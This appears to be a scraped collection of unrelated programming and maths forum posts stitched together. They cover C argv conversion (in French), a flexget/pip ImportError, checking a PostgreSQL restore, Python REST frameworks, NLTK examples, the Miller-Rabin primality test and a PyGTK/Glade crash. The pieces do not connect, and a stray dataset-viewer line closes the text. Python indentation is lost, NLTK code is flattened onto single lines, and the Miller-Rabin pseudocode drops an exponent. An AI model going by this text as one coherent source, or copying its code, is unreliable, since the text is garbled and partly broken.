Re : /* Topic des codeurs [8] */
J'ai une autre question Quand un argument est contenu dans l'une des case d'argv, il est de type char non ? Du coup, il faut le convertir en entier, si on veut s'en servir comme chiffre. Seulement quand je fais des recherches sur le net la solution que je trouve est de faire un
integer(string)
Mais d'après mes test je n'ai pas l'impression que ça fonctionne avec une case de tableau...
C'est rarement par le sarcasme qu'on élève son âme.Le jus de la vigne clarifie l'esprit et l'entendement.
De quoi souffres-tu ? De l'irréel intact dans le réel dévasté ?
N'oubliez pas d'ajouter un [RESOLU] si votre problème est réglé.ᥟathé൭о
Hors ligne
xapantu
Re : /* Topic des codeurs [8] */
Ça, ça va probablement te renvoyer le int, pas te modifier ton tableau
Hors ligne |
after a system updates I having troubles with a python based Apps The Updater-manager doesn't download the updates packages, and I realized this python trobles because I use flexget for RSS downloading, which is Python based, and when I run it it return:
~$ flexget
Traceback (most recent call last):
File "/usr/local/bin/flexget", line 5, in <module>
from pkg_resources import load_entry_point
ImportError: No module named pkg_resources
if I run pip, a Python script, it returns:
$ sudo pip install flexget
Traceback (most recent call last):
File "/usr/bin/pip", line 5, in <module>
from pkg_resources import load_entry_point
ImportError: No module named pkg_resources
everything points to this line: "from pkg_resources import load_entry_point"
in flexget I found this: http://flexget.com/wiki/PipProblems
but reinstalling Python didn't solved the trouble how could it be fixed |
How can I verify that my restored database is identical to my original database?
Here's what I did. Is this a valid way to verify a restore?
# dump mydb_orig:
$ pg_dump --cluster 8.4/my.8.4.cluster mydb_orig > mydb_orig.dump
# create mydb_restored:
$ createdb --cluster 9.1/my.9.1.cluster mydb_restored
# load mydb_orig into mydb_restored:
$ psql -q --cluster 9.1/my.9.1.cluster -d mydb_restored -f mydb_orig.dump
# dump mydb_restored:
$ pg_dump --cluster 9.1/my.9.1.cluster > mydb_restored.dump
# verify mydb_orig and mydb_restored are identical:
$ diff mydb_orig.dump mydb_restored.dump
# The files have the same number of bytes, but some of the rows are in a different order, so sort them:
$ sort mydb_orig.dump > sorted.orig.dump
$ sort mydb_restored.dump > sorted.restored.dump
$ diff sorted.orig.dump sorted.restored.dump
# Now they are identical
|
Is there a list somewhere of recommendations of different Python-based REST frameworks for use on the serverside to write your own RESTful APIs? Preferably with pros and cons.
Please feel free to add recommendations here. :)
Something to be careful about when designing a RESTful API is the conflation of GET and POST, as if they were the same thing. It's easy to make this mistake with Django's function-based views and CherryPy's default dispatcher, although both frameworks now provide a way around this problem (class-based views and MethodDispatcher, respectively).
import web
import json
from mimerender import mimerender
render_xml = lambda message: '<message>%s</message>'%message
render_json = lambda **args: json.dumps(args)
render_html = lambda message: '<html><body>%s</body></html>'%message
render_txt = lambda message: message
urls = (
'/(.*)', 'greet'
)
app = web.application(urls, globals())
class greet:
@mimerender(
default = 'html',
html = render_html,
xml = render_xml,
json = render_json,
txt = render_txt
)
def GET(self, name):
if not name:
name = 'world'
return {'message': 'Hello, ' + name + '!'}
if __name__ == "__main__":
app.run()
The service's logic is implemented only once, and the correct representation selection (Accept header) + dispatch to the proper render function (or template) is done in a tidy, transparent way.
$ curl localhost:8080/x
<html><body>Hello, x!</body></html>
$ curl -H "Accept: application/html" localhost:8080/x
<html><body>Hello, x!</body></html>
$ curl -H "Accept: application/xml" localhost:8080/x
<message>Hello, x!</message>
$ curl -H "Accept: application/json" localhost:8080/x
{'message':'Hello, x!'}
$ curl -H "Accept: text/plain" localhost:8080/x
Hello, x!
Surprised no one mentioned flask.
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"
if __name__ == "__main__":
app.run()
We're using Django for RESTful web services.
Note that -- out of the box -- Django did not have fine-grained enough authentication for our needs. We used the Django-REST interface, which helped a lot. [We've since rolled our own because we'd made so many extensions that it had become a maintenance nightmare.]
We have two kinds of URL's: "html" URL's which implement the human-oriented HTML pages, and "json" URL's which implement the web-services oriented processing. Our view functions often look like this.
def someUsefulThing( request, object_id ):
# do some processing
return { a dictionary with results }
def htmlView( request, object_id ):
d = someUsefulThing( request, object_id )
render_to_response( 'template.html', d, ... )
def jsonView( request, object_id ):
d = someUsefulThing( request, object_id )
data = serializers.serialize( 'json', d['object'], fields=EXPOSED_FIELDS )
response = HttpResponse( data, status=200, content_type='application/json' )
response['Location']= reverse( 'some.path.to.this.view', kwargs={...} )
return response
The point being that the useful functionality is factored out of the two presentations. The JSON presentation is usually just one object that was requested. The HTML presentation often includes all kinds of navigation aids and other contextual clues that help people be productive.
The
See Python Web Frameworks wiki.
You probably do not need the
I really like CherryPy. Here's an example of a restful web service:
import cherrypy
from cherrypy import expose
class Converter:
@expose
def index(self):
return "Hello World!"
@expose
def fahr_to_celc(self, degrees):
temp = (float(degrees) - 32) * 5 / 9
return "%.01f" % temp
@expose
def celc_to_fahr(self, degrees):
temp = float(degrees) * 9 / 5 + 32
return "%.01f" % temp
cherrypy.quickstart(Converter())
This emphasizes what I really like about CherryPy; this is a completely working example that's very understandable even to someone who doesn't know the framework. If you run this code, then you can immediately see the results in your web browser; e.g. visiting http://localhost:8080/celc_to_fahr?degrees=50 will display
I don't see any reason to use Django just to expose a REST api, there are lighter and more flexible solutions. Django carries a lot of other things to the table, that are not always needed. For sure not needed if you only want to expose some code as a REST service.
My personal experience, fwiw, is that once you have a one-size-fits-all framework, you'll start to use its ORM, its plugins, etc. just because it's easy, and in no time you end up having a dependency that is very hard to get rid of.
Choosing a web framework is a tough decision, and I would avoid picking a full stack solution just to expose a REST api.
Now, if you really need/want to use Django, then Piston is a nice REST framework for django apps.
That being said, CherryPy looks really nice too, but seems more RPC than REST.
Looking at the samples (I never used it), probably web.py is the best and cleanest if you only need REST.
Here is a discussion in CherryPy docs on REST: http://docs.cherrypy.org/dev/progguide/REST.html
In particular it mentions a built in CherryPy dispatcher called MethodDispatcher, which invokes methods based on their HTTP-verb identifiers (GET, POST, etc...).
In 2010, the Pylons and repoze.bfg communities "joined forces" to create Pyramid, a web framework based most heavily on repoze.bfg. It retains the philosophies of its parent frameworks, and can be used for RESTful services. It's worth a look.
Piston is very flexible framework for wirting RESTful APIs for Django applications.
Seems all kinds of python web frameworks can implement RESTful interfaces now.
For Django, besides tastypie and piston, django-rest-framework is a promising one worth to mention. I've already migrated one of my project on it smoothly.
Quick example:
from django.conf.urls.defaults import patterns, url
from djangorestframework.resources import ModelResource
from djangorestframework.views import ListOrCreateModelView, InstanceModelView
from myapp.models import MyModel
class MyResource(ModelResource):
model = MyModel
urlpatterns = patterns('',
url(r'^$', ListOrCreateModelView.as_view(resource=MyResource)),
url(r'^(?P<pk>[^/]+)/$', InstanceModelView.as_view(resource=MyResource)),
)
Take the example from official site, all above codes provide api, self explained document(like soap based webservice) and even sandbox to test a bit. Very convenience.
I am not an expert on the python world but I have been using django which is an excellent web framework and can be used to create a restful framework.
web2py includes support for easily building RESTful API's, described here and here (video). In particular, look at
I strongly recommend TurboGears or Bottle:
TurboGears:
Bottle:
We are working on a framework for strict REST services, check out http://prestans.googlecode.com
Its in early Alpha at the moment, we are testing against mod_wsgi and Google's AppEngine.
Looking for testers and feedback. Thanks. |
The Natural Language Toolkit for Python is a great framework for simple, non-probabilistic natural language processing. Here are some example snippets (and some trouble-shooting notes).
Concordances
We can search for "dog" in Chesterton's The Man Who Was Thursday:
>>> from nltk.book import * >>> text9.concordance("dog", width=40) Displaying 4 of 4 matches: ead of a cat or a dog , it could not ha d you ever hear a dog bark like that ?" aid , " is that a dog -- anybody ' s do og -- anybody ' s dog ?" There broke up
Synonyms and categories
We can use WordNet to look up synonyms:
from nltk.corpus import wordnet dog = wordnet.synset('dog.n.01') print dog.lemma_names
This prints:
['dog', 'domestic_dog', 'Canis_familiaris']
We can also look up the "hypernyms", or larger categories that include the word "dog":
paths = dog.hypernym_paths() def simple_path(path): return [s.lemmas[0].name for s in path] for path in paths: print simple_path(path)
This prints:
['entity', 'physical_entity', 'object', 'whole', 'living_thing', 'organism', 'animal', 'domestic_animal', 'dog']['entity', 'physical_entity', 'object', 'whole', 'living_thing', 'organism', 'animal', 'chordate', 'vertebrate', 'mammal', 'placental', 'carnivore', 'canine', 'dog']
For more neat examples, take a look at the NLTK book.
Installation notes
While setting up NLTK, I bumped into a few problems.
Problem: The dispersion_plot function returns immediately without displaying anything.
Problem: The nltk.app.concordance() GUI fails with the error:
out of stack space (infinite loop?)
Fix: Recompile Tcl with threads. On the Mac:
sudo port install tcl +threads
|
Somebody please explain me the Miller Rabin Primality test
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
It is a probabilistic test for determining primality belonging to the field of computational number theory.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
Yes, how to do it?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
For once Wiki actually did a good job explaining something!!!!
Input: n > 3, an odd integer to be tested for primality;
Input: k, a parameter that determines the accuracy of the test
Output: composite if n is composite, otherwise probably prime
Go:
write n − 1 as 2^s·d with d odd by factoring powers of 2 from n − 1
WitnessLoop: repeat k times:
pick a random integer a in the range [2, n − 2]
x ← ad mod n
if x = 1 or x = n − 1 then do next WitnessLoop
repeat s − 1 times:
x ← x^2 mod n
if x = 1 then return composite
if x = n − 1 then do next WitnessLoop
return composite
return probably prime
Can not do any better than that except to do some filling in.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
And what does this method actually rely on?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
A whole lot of number theory and a thing called a strong pseudo prime.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
Mainly fermat's little theorem?
And what ensures it is strong?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
Offhand I never remember that definition of them but I could look it up.
More to the point is the test itself and the fact that it is a non deterministic test.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
Not the definition but I am asking what gives them a HIGH probability of being prime?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
That I do not remember. I am sorry.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
Thats okay.
Once I know that a number is probably prime, how do I make sure?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
Three of your countryman developed the AKS algorithm which is deterministic and fast. Or you can use Miller Rabin.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
Three of my countrymen? Who are they?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
Manindra Agrawal, Neeraj Kayal, and Nitin Saxena
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
I did not know them.
I shall google it
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
Are they all three Indians?
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
The names sound so, but how does it matter?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
It matters in the sense that I like to differ from the rest of my kind.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
Would that change the method essentially?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
Change the method? I am not understanding you.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
Me neither
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
The AKS proves a number is prime while the Miller Rabin tells the probability it is prime.
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline
Or we could just wait for someone to solve the P vs NP problem.
Here lies the reader who will never open this book. He is forever dead.
Taking a new step, uttering a new word, is what people fear most. ― Fyodor Dostoyevsky, Crime and Punishment
Offline
Who will bell the cat?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'Humanity is still kept intact. It remains within.' -Alokananda
Online
Did you have anymore questions about MIller Rabin?
In mathematics, you don't understand things. You just get used to them.I have the result, but I do not yet know how to get it.All physicists, and a good many quite respectable mathematicians are contemptuous about proof.
Offline |
I created a simple program using a glade .xml file and it, whenever I run the program, it crashes!
Here's the Python code:
#!/usr/bin/env python
import pygtk
pygtk.require("2.0")
import gtk
class TutorialApp(object):
def __init__(self):
builder = gtk.Builder()
builder.add_from_file("tutorial.xml")
builder.connect_signals({ "on_window_destroy" : gtk.main_quit })
self.window = builder.get_object("window")
self.window.show()
if __name__ == "__main__":
app = TutorialApp()
gtk.main()
The .xml file is rather extensive, so I can't post it in a readable form, but here it is.
<?xml version="1.0" encoding="UTF-8"?>
<interface>
<!-- interface-requires gtk+ 3.0 -->
<object class="GtkWindow" id="window1">
<property name="can_focus">False</property>
<child>
<object class="GtkBox" id="box1">
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="orientation">vertical</property>
<child>
<object class="GtkMenuBar" id="menubar1">
<property name="visible">True</property>
<property name="can_focus">False</property>
<child>
<object class="GtkMenuItem" id="menuitem1">
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="label" translatable="yes">_File</property>
<property name="use_underline">True</property>
<child type="submenu">
<object class="GtkMenu" id="menu1">
<property name="visible">True</property>
<property name="can_focus">False</property>
<child>
<object class="GtkImageMenuItem" id="imagemenuitem1">
<property name="label">gtk-new</property>
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="use_underline">True</property>
<property name="use_stock">True</property>
</object>
</child>
<child>
<object class="GtkImageMenuItem" id="imagemenuitem2">
<property name="label">gtk-open</property>
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="use_underline">True</property>
<property name="use_stock">True</property>
</object>
</child>
<child>
<object class="GtkImageMenuItem" id="imagemenuitem3">
<property name="label">gtk-save</property>
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="use_underline">True</property>
<property name="use_stock">True</property>
</object>
</child>
<child>
<object class="GtkImageMenuItem" id="imagemenuitem4">
<property name="label">gtk-save-as</property>
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="use_underline">True</property>
<property name="use_stock">True</property>
</object>
</child>
<child>
<object class="GtkSeparatorMenuItem" id="separatormenuitem1">
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
</object>
</child>
<child>
<object class="GtkImageMenuItem" id="imagemenuitem5">
<property name="label">gtk-quit</property>
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="use_underline">True</property>
<property name="use_stock">True</property>
</object>
</child>
</object>
</child>
</object>
</child>
<child>
<object class="GtkMenuItem" id="menuitem2">
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="label" translatable="yes">_Edit</property>
<property name="use_underline">True</property>
<child type="submenu">
<object class="GtkMenu" id="menu2">
<property name="visible">True</property>
<property name="can_focus">False</property>
<child>
<object class="GtkImageMenuItem" id="imagemenuitem6">
<property name="label">gtk-cut</property>
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="use_underline">True</property>
<property name="use_stock">True</property>
</object>
</child>
<child>
<object class="GtkImageMenuItem" id="imagemenuitem7">
<property name="label">gtk-copy</property>
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="use_underline">True</property>
<property name="use_stock">True</property>
</object>
</child>
<child>
<object class="GtkImageMenuItem" id="imagemenuitem8">
<property name="label">gtk-paste</property>
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="use_underline">True</property>
<property name="use_stock">True</property>
</object>
</child>
<child>
<object class="GtkImageMenuItem" id="imagemenuitem9">
<property name="label">gtk-delete</property>
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="use_underline">True</property>
<property name="use_stock">True</property>
</object>
</child>
</object>
</child>
</object>
</child>
<child>
<object class="GtkMenuItem" id="menuitem3">
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="label" translatable="yes">_View</property>
<property name="use_underline">True</property>
</object>
</child>
<child>
<object class="GtkMenuItem" id="menuitem4">
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="label" translatable="yes">_Help</property>
<property name="use_underline">True</property>
<child type="submenu">
<object class="GtkMenu" id="menu3">
<property name="visible">True</property>
<property name="can_focus">False</property>
<child>
<object class="GtkImageMenuItem" id="imagemenuitem10">
<property name="label">gtk-about</property>
<property name="use_action_appearance">False</property>
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="use_underline">True</property>
<property name="use_stock">True</property>
</object>
</child>
</object>
</child>
</object>
</child>
</object>
<packing>
<property name="expand">False</property>
<property name="fill">True</property>
<property name="position">0</property>
</packing>
</child>
<child>
<object class="GtkScrolledWindow" id="scrolledwindow1">
<property name="visible">True</property>
<property name="can_focus">True</property>
<property name="shadow_type">in</property>
<child>
<object class="GtkTextView" id="textview1">
<property name="visible">True</property>
<property name="can_focus">True</property>
</object>
</child>
</object>
<packing>
<property name="expand">True</property>
<property name="fill">True</property>
<property name="position">1</property>
</packing>
</child>
<child>
<object class="GtkStatusbar" id="statusbar1">
<property name="visible">True</property>
<property name="can_focus">False</property>
<property name="orientation">vertical</property>
<property name="spacing">2</property>
</object>
<packing>
<property name="expand">False</property>
<property name="fill">True</property>
<property name="position">2</property>
</packing>
</child>
</object>
</child>
</object>
</interface>
Maybe I can get help, if not I'll continue trying to debug it on my own. |
Subsets and Splits